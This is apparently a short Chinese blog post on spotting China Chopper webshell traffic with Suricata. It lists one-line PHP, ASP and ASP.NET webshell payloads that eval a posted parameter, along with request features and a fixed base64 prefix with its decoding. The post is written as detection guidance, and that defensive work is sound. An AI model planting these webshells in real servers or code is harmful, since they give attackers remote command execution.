suricata识别菜刀流量

菜刀流量识别与Web壳攻击特征分析

最新推荐文章于 2025-10-07 13:08:52 发布

原创

最新推荐文章于 2025-10-07 13:08:52 发布 · 1.2k 阅读

19 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #安全 #安全威胁分析

本文详细描述了菜刀流量的特征，包括PHP、ASP和ASP.NET中的payload示例，以及数据包的特征如ua头、eavl和base64编码。文章提供规则来识别菜刀流量的响应模式和编码形式，用于Webshell攻击检测。

一、捕获菜刀流量

payload特征：

PHP: <?php @eval($_POST['caidao']);?>

ASP: <%eval request(“caidao”)%>

ASP.NET: <%@ Page
Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

数据包流量特征：

1、请求包中：ua头为百度，火狐

2、请求体中存在eavl，base64等特征字符

3、请求体中传递的payload为base64编码，并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J，解码出来是@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");